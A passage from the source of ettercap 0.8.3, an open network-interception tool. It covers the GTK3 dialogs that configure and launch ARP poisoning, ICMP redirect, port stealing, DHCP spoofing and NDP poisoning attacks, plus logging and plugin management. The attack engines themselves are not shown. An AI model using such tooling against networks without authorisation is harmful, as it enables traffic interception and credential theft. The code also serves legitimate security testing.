PARAMS_LEN+1, "arp:%s%s%s", s_remote, comma, s_oneway); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("arp:"), PARAMS_LEN - strlen("arp:"), gtkui_start_mitm); */ } void gtkui_icmp_redir(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *grid, *hbox, *image, *label, *entry1, *entry2, *frame, *content_area; gint response = 0; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_icmp_redir"); dialog = gtk_dialog_new_with_buttons("MITM Attack: ICMP Redirect", GTK_WINDOW (window), GTK_DIALOG_MODAL|GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); image = gtk_image_new_from_icon_name("dialog-question", GTK_ICON_SIZE_DIALOG); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Gateway Information"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); grid = gtk_grid_new(); gtk_grid_set_row_spacing(GTK_GRID(grid), 5); gtk_grid_set_column_spacing(GTK_GRID(grid), 5); gtk_container_set_border_width(GTK_CONTAINER (grid), 8); gtk_container_add(GTK_CONTAINER (frame), grid); gtk_widget_show(grid); label = gtk_label_new("MAC Address"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP, 1, 1); gtk_widget_show(label); entry1 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY (entry1), ETH_ASCII_ADDR_LEN); gtk_grid_attach(GTK_GRID(grid), entry1, GTK_POS_LEFT+1, GTK_POS_TOP, 1, 1); gtk_widget_show(entry1); label = gtk_label_new("IP Address"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+1, 1, 1); gtk_widget_show(label); entry2 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY (entry2), IP6_ASCII_ADDR_LEN); gtk_grid_attach(GTK_GRID(grid), entry2, GTK_POS_LEFT+1, GTK_POS_TOP+1, 1, 1); gtk_widget_show(entry2); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); // memset(params, '\0', PARAMS_LEN); snprintf(params, PARAMS_LEN+1, "icmp:%s/%s", gtk_entry_get_text(GTK_ENTRY(entry1)), gtk_entry_get_text(GTK_ENTRY(entry2))); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("icmp:"), PARAMS_LEN - strlen("icmp:"), gtkui_start_mitm); */ } void gtkui_port_stealing(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *vbox, *hbox, *image, *button1, *button2, *frame, *content_area; gint response = 0; gboolean remote = FALSE; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_port_stealing"); dialog = gtk_dialog_new_with_buttons("MITM Attack: Port Stealing", GTK_WINDOW (window), GTK_DIALOG_MODAL|GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); image = gtk_image_new_from_icon_name("dialog-question", GTK_ICON_SIZE_DIALOG); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Optional parameters"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 2); gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); gtk_container_add(GTK_CONTAINER (frame), vbox); gtk_widget_show(vbox); button1 = gtk_check_button_new_with_label("Sniff remote connections."); gtk_box_pack_start(GTK_BOX (vbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); button2 = gtk_check_button_new_with_label("Propagate to other switches."); gtk_box_pack_start(GTK_BOX (vbox), button2, FALSE, FALSE, 0); gtk_widget_show(button2); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); const char *s_remote= "", *tree = "", *comma = ""; if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) { s_remote="remote"; remote = TRUE; } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) { if(remote) comma = ","; tree = "tree"; } snprintf(params, PARAMS_LEN+1, "port:%s%s%s", s_remote, comma, tree); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("port:"), PARAMS_LEN - strlen("port:"), gtkui_start_mitm); */ } void gtkui_dhcp_spoofing(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *grid, *hbox, *image, *label, *entry1, *entry2, *entry3, *frame, *content_area; gint response = 0; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_dhcp_spoofing"); // memset(params, '\0', PARAMS_LEN+1); dialog = gtk_dialog_new_with_buttons("MITM Attack: DHCP Spoofing", GTK_WINDOW (window), GTK_DIALOG_MODAL|GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); image = gtk_image_new_from_icon_name("dialog-question", GTK_ICON_SIZE_DIALOG); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Server Information"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); grid = gtk_grid_new(); gtk_grid_set_row_spacing(GTK_GRID(grid), 5); gtk_grid_set_column_spacing(GTK_GRID(grid), 5); gtk_container_set_border_width(GTK_CONTAINER (grid), 8); gtk_container_add(GTK_CONTAINER (frame), grid); gtk_widget_show(grid); label = gtk_label_new("IP Pool (optional)"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP, 1, 1); gtk_widget_show(label); entry1 = gtk_entry_new(); gtk_grid_attach(GTK_GRID(grid), entry1, GTK_POS_LEFT+1, GTK_POS_TOP, 1, 1); gtk_widget_show(entry1); label = gtk_label_new("Netmask"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+1, 1, 1); gtk_widget_show(label); entry2 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY (entry2), IP6_ASCII_ADDR_LEN); gtk_grid_attach(GTK_GRID(grid), entry2, GTK_POS_LEFT+1, GTK_POS_TOP+1, 1, 1); gtk_widget_show(entry2); label = gtk_label_new("DNS Server IP"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+2, 1, 1); gtk_widget_show(label); entry3 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY (entry3), IP6_ASCII_ADDR_LEN); gtk_grid_attach(GTK_GRID(grid), entry3, GTK_POS_LEFT+1, GTK_POS_TOP+2, 1, 1); gtk_widget_show(entry3); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); // memset(params, '\0', PARAMS_LEN); snprintf(params, PARAMS_LEN+1, "dhcp:%s/%s/%s", gtk_entry_get_text(GTK_ENTRY(entry1)), gtk_entry_get_text(GTK_ENTRY(entry2)), gtk_entry_get_text(GTK_ENTRY(entry3))); DEBUG_MSG("ec_gtk_dhcp: DHCP MITM %s", params); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("dhcp:"), PARAMS_LEN - strlen("dhcp:"), gtkui_start_mitm); */ } #ifdef WITH_IPV6 void gtkui_ndp_poisoning(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *vbox, *hbox, *image, *button1, *button2, *frame, *content_area; gint response = 0; gboolean remote = FALSE; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_ndp_poisoning"); // not needed, the \0 is already appended from snprintf // memset(params, '\0', PARAMS_LEN+1); dialog = gtk_dialog_new_with_buttons("MITM Attack: NDP Poisoning", GTK_WINDOW (window), GTK_DIALOG_MODAL|GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); image = gtk_image_new_from_icon_name("dialog-question", GTK_ICON_SIZE_DIALOG); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Optional parameters"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 2); gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); gtk_container_add(GTK_CONTAINER (frame), vbox); gtk_widget_show(vbox); button1 = gtk_check_button_new_with_label("Sniff remote connections."); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button1), TRUE); gtk_box_pack_start(GTK_BOX (vbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); button2 = gtk_check_button_new_with_label("Only poison one-way."); gtk_box_pack_start(GTK_BOX (vbox), button2, FALSE, FALSE, 0); gtk_widget_show(button2); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); const char *s_remote = "", *comma = "", *s_oneway = ""; if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) { s_remote="remote"; remote = TRUE; } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) { if(remote) comma = ","; s_oneway = "oneway"; } snprintf(params, PARAMS_LEN+1, "ndp:%s%s%s", s_remote, comma, s_oneway); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("ndp:"), PARAMS_LEN - strlen("ndp:"), gtkui_start_mitm); */ } #endif /* * start the mitm attack by passing the name and parameters */ static void gtkui_start_mitm(void) { DEBUG_MSG("gtk_start_mitm"); mitm_set(params); mitm_start(); } /* * stop all the mitm attack(s) */ void gtkui_mitm_stop(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_mitm_stop"); /* create the dialog */ dialog = gtkui_message_dialog(GTK_WINDOW (window), GTK_DIALOG_MODAL|GTK_DIALOG_USE_HEADER_BAR, GTK_MESSAGE_INFO, GTK_BUTTONS_NONE, "Stopping the mitm attack..."); gtk_window_set_position(GTK_WINDOW (dialog), GTK_WIN_POS_CENTER_ON_PARENT); gtk_window_set_resizable(GTK_WINDOW (dialog), FALSE); gtk_widget_queue_draw(dialog); gtk_widget_show_now(dialog); /* for GTK to display the dialog now */ while (gtk_events_pending ()) gtk_main_iteration (); /* stop the mitm process */ mitm_stop(); gtk_widget_destroy(dialog); gtkui_message("MITM attack(s) stopped"); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_logging.c0000644000175000017500000001234013505247364022147 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #define FILE_LEN 40 /* proto */ static void log_all(void); static void log_info(void); static void log_msg(void); /* globals */ static char *logfile; /*******************************************/ void toggle_compress(GSimpleAction *action, GVariant *value, gpointer data) { (void) data; g_simple_action_set_state(action, value); EC_GBL_OPTIONS->compress ^= 1; } /* * display the log dialog */ void gtkui_log_all(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog; gchar *filename; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_log_all"); /* make sure to free if already set */ SAFE_FREE(logfile); SAFE_CALLOC(logfile, FILE_LEN, sizeof(char)); dialog = gtk_file_chooser_dialog_new("Save all to logfile...", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, "_Cancel", GTK_RESPONSE_CANCEL, "_Save", GTK_RESPONSE_OK, NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), "."); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); gtk_widget_destroy(dialog); memcpy(logfile, filename, FILE_LEN); g_free(filename); log_all(); } else { gtk_widget_destroy(dialog); } } static void log_all(void) { /* a check on the input */ if (strlen(logfile) == 0) { ui_error("Please specify a filename"); return; } set_loglevel(LOG_PACKET, logfile); SAFE_FREE(logfile); } /* * display the log dialog */ void gtkui_log_info(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog; gchar *filename; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_log_info"); /* make sure to free if already set */ SAFE_FREE(logfile); SAFE_CALLOC(logfile, FILE_LEN, sizeof(char)); dialog = gtk_file_chooser_dialog_new("Save infos to logfile...", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, "_Cancel", GTK_RESPONSE_CANCEL, "_Save", GTK_RESPONSE_OK, NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), "."); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); gtk_widget_destroy(dialog); memcpy(logfile, filename, FILE_LEN); g_free(filename); log_info(); } else { gtk_widget_destroy(dialog); } } static void log_info(void) { /* a check on the input */ if (strlen(logfile) == 0) { ui_error("Please specify a filename"); return; } set_loglevel(LOG_INFO, logfile); SAFE_FREE(logfile); } void gtkui_stop_log(GSimpleAction *action, GVariant *value, gpointer data) { (void) action; (void) value; (void) data; set_loglevel(LOG_STOP, ""); gtkui_message("Logging was stopped."); } /* * display the log dialog */ void gtkui_log_msg(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog; gchar *filename; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_log_msg"); /* make sure to free if already set */ SAFE_FREE(logfile); SAFE_CALLOC(logfile, FILE_LEN, sizeof(char)); dialog = gtk_file_chooser_dialog_new("Safe Log Messages in file...", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, "_Cancel", GTK_RESPONSE_CANCEL, "_Save", GTK_RESPONSE_OK, NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), "."); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); gtk_widget_destroy(dialog); memcpy(logfile, filename, FILE_LEN); g_free(filename); log_msg(); } else { gtk_widget_destroy(dialog); } } static void log_msg(void) { /* a check on the input */ if (strlen(logfile) == 0) { ui_error("Please specify a filename"); return; } set_msg_loglevel(LOG_TRUE, logfile); SAFE_FREE(logfile); } void gtkui_stop_msg(GSimpleAction *action, GVariant *value, gpointer data) { (void) action; (void) value; (void) data; set_msg_loglevel(LOG_FALSE, NULL); gtkui_message("Message logging was stopped."); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_plugins.c0000644000175000017500000002727313505247364022215 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #define MAX_DESC_LEN 75 /* proto */ static void gtkui_load_plugin(const char *full); static void gtkui_add_plugin(char active, struct plugin_ops *ops); static void gtkui_plug_destroy(void); static void gtkui_plugins_detach(GtkWidget *child); static void gtkui_plugins_attach(void); static void gtkui_select_plugin(void); static void gtkui_create_plug_array(void); gboolean gtkui_plugin_context(GtkWidget *widget, GdkEventButton *event, gpointer data); /* globals */ static GtkWidget *plugins_window = NULL; static GtkWidget *treeview = NULL; static GtkListStore *ls_plugins = NULL; static GtkTreeSelection *selection = NULL; /*******************************************/ /* * display the file open dialog */ void gtkui_plugin_load(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *chooser, *content; gchar *filename; int response = 0; #ifdef OS_WINDOWS char *path = get_full_path("/lib/", ""); #else char *path = INSTALL_LIBDIR "/" PROGRAM "/"; #endif (void) action; (void) value; (void) data; DEBUG_MSG("gtk_plugin_load"); dialog = gtk_dialog_new_with_buttons("Select a plugin...", GTK_WINDOW(window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER(dialog), 10); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); chooser = gtk_file_chooser_widget_new(GTK_FILE_CHOOSER_ACTION_OPEN); gtk_container_add(GTK_CONTAINER(content), chooser); gtk_widget_show(chooser); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(chooser), path); #ifdef OS_WINDOWS SAFE_FREE(path); #endif response = gtk_dialog_run (GTK_DIALOG (dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(chooser)); gtkui_load_plugin(filename); /* update the list */ gtkui_create_plug_array(); g_free(filename); } gtk_widget_destroy (dialog); } static void gtkui_load_plugin(const char *full) { char *file; int ret; #ifdef OS_WINDOWS file = strrchr(full, '\\'); #else file = strrchr(full, '/'); #endif /* remove the last / split path and file increment file pointer to point to filename */ *file++ = 0; DEBUG_MSG("gtk_load_plugin %s/%s", full, file); /* load the plugin */ ret = plugin_load_single(full, file); /* check the return code */ switch (ret) { case E_SUCCESS: gtkui_message("Plugin loaded successfully"); break; case -E_DUPLICATE: ui_error("plugin %s already loaded...", file); break; case -E_VERSION: ui_error("plugin %s was compiled for a different ettercap version...", file); break; case -E_INVALID: default: ui_error("Cannot load the plugin...\nthe file may be an invalid plugin\nor you don't have the permission to open it"); break; } } /* * plugin management */ void gtkui_plugin_mgmt(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *scrolled, *vbox; GtkCellRenderer *renderer; GtkTreeViewColumn *column; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_plugin_mgmt"); /* if the object already exist, set the focus to it */ if (plugins_window) { if(GTK_IS_WINDOW (plugins_window)) gtk_window_present(GTK_WINDOW (plugins_window)); else gtkui_page_present(plugins_window); return; } plugins_window = gtkui_page_new("Plugins", >kui_plug_destroy, >kui_plugins_detach); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_container_add(GTK_CONTAINER (plugins_window), vbox); gtk_widget_show(vbox); /* list */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_NEVER, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection, GTK_SELECTION_SINGLE); g_signal_connect (G_OBJECT (treeview), "row_activated", G_CALLBACK (gtkui_select_plugin), NULL); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes (" ", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Name", renderer, "text", 1, NULL); gtk_tree_view_column_set_sort_column_id (column, 1); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Version", renderer, "text", 2, NULL); gtk_tree_view_column_set_sort_column_id (column, 2); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Info", renderer, "text", 3, NULL); gtk_tree_view_column_set_sort_column_id (column, 3); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); /* create the array for the list widget */ /* or refreshes it if it exists */ gtkui_create_plug_array(); gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (ls_plugins)); g_signal_connect(G_OBJECT(treeview), "button-press-event", G_CALLBACK(gtkui_plugin_context), NULL); gtk_widget_show(plugins_window); } static void gtkui_plugins_detach(GtkWidget *child) { plugins_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (plugins_window), "Select a plugin..."); gtk_window_set_default_size(GTK_WINDOW (plugins_window), 400, 300); g_signal_connect (G_OBJECT (plugins_window), "delete_event", G_CALLBACK (gtkui_plug_destroy), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(plugins_window, gtkui_plugins_attach); gtk_container_add(GTK_CONTAINER (plugins_window), child); gtk_window_present(GTK_WINDOW (plugins_window)); } static void gtkui_plugins_attach(void) { gtkui_plug_destroy(); gtkui_plugin_mgmt(NULL, NULL, NULL); } static void gtkui_plug_destroy(void) { gtk_widget_destroy(plugins_window); plugins_window = NULL; } /* * create the array for the widget. * erase any previously alloc'd array */ static void gtkui_create_plug_array(void) { GtkTreeIter iter; int res; static int blocked = 0; DEBUG_MSG("gtk_create_plug_array"); if(ls_plugins) gtk_list_store_clear(GTK_LIST_STORE (ls_plugins)); else ls_plugins = gtk_list_store_new (4, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING); /* go thru the list of plugins */ res = plugin_list_walk(PLP_MIN, PLP_MAX, >kui_add_plugin); if (res == -E_NOTFOUND) { blocked = g_signal_handlers_block_by_func (G_OBJECT (treeview), G_CALLBACK (gtkui_select_plugin), NULL); gtk_list_store_append (ls_plugins, &iter); gtk_list_store_set (ls_plugins, &iter, 0, " ", 1, "No Plugins Loaded", -1); } else if(blocked > 0) { g_signal_handlers_unblock_by_func (G_OBJECT (treeview), G_CALLBACK (gtkui_select_plugin), NULL); blocked = 0; } } /* * callback function for displaying the plugin list */ static void gtkui_add_plugin(char active, struct plugin_ops *ops) { GtkTreeIter iter; char active_str[2]; active_str[0] = (active)?'*':' '; active_str[1] = 0; gtk_list_store_append (ls_plugins, &iter); gtk_list_store_set (ls_plugins, &iter, 0, active_str, 1, ops->name, 2, ops->version, 3, ops->info, -1); } /* * callback function for a plugin */ static void gtkui_select_plugin(void) { GtkTreeIter iter; GtkTreeModel *model; char *plugin = NULL; model = GTK_TREE_MODEL (ls_plugins); if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { gtk_tree_model_get (model, &iter, 1, &plugin, -1); } else return; /* nothing is selected */ if(!plugin) return; /* bad pointer from gtk_tree_model_get, shouldn't happen */ /* print the message */ if (plugin_is_activated(plugin) == 0) INSTANT_USER_MSG("Activating %s plugin...\n", plugin); else INSTANT_USER_MSG("Deactivating %s plugin...\n", plugin); /* * pay attention on this ! * if the plugin init does not return, * we are blocked here. So it is encouraged * to write plugins which spawn a thread * and immediately return */ if (plugin_is_activated(plugin) == 1) plugin_fini(plugin); else plugin_init(plugin); /* refresh the list to mark plugin active */ gtkui_create_plug_array(); } gboolean gtkui_refresh_plugin_list(gpointer data) { /* avoid warning */ (void)data; DEBUG_MSG("gtk_refresh_plugin_list"); /* refresh the list to mark plugin active */ gtkui_create_plug_array(); /* return FALSE so g_idle_add() only calls it once */ return FALSE; } gboolean gtkui_plugin_context(GtkWidget *widget, GdkEventButton *event, gpointer data) { GtkTreeIter iter; GtkTreeModel *model; GtkWidget *menu, *item; char *plugin = NULL; (void) widget; (void) data; model = GTK_TREE_MODEL(ls_plugins); menu = gtk_menu_new(); item = gtk_menu_item_new(); gtk_menu_shell_append(GTK_MENU_SHELL(menu), item); g_signal_connect(G_OBJECT(item), "activate", G_CALLBACK(gtkui_select_plugin), NULL); gtk_widget_show(item); if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION(selection), &model, &iter)) { gtk_tree_model_get (model, &iter, 1, &plugin, -1); } else return FALSE; /* nothing is selected */ if(!plugin) return FALSE; /* bad pointer from gtk_tree_model_get, shouldn't happen */ /* print the message */ if (plugin_is_activated(plugin) == 0) gtk_menu_item_set_label(GTK_MENU_ITEM(item), "Activate"); else gtk_menu_item_set_label(GTK_MENU_ITEM(item), "Deactivate"); if (event->button == 3) { #if GTK_CHECK_VERSION(3,22,0) gtk_menu_popup_at_pointer(GTK_MENU(menu), (GdkEvent*)event); #else gtk_menu_popup(GTK_MENU(data), NULL, NULL, NULL, NULL, 3, event->time); #endif /* * button press event handle must return TRUE to keep the selection * active when pressing the mouse button */ return TRUE; } return FALSE; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_start.c0000644000175000017500000000226113505247364021657 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /*******************************************/ void gtkui_start_sniffing(void) { DEBUG_MSG("gtk_start_sniffing"); /* start the sniffing method */ EXECUTE(EC_GBL_SNIFF->start); } void gtkui_stop_sniffing(void) { DEBUG_MSG("gtk_stop_sniffing"); /* terminate the sniffing engine */ EXECUTE(EC_GBL_SNIFF->cleanup); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_redirect.c0000644000175000017500000004705713505247364022337 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* proto */ static void gtkui_sslredir_close(void); static void gtkui_sslredir_detach(GtkWidget *child); 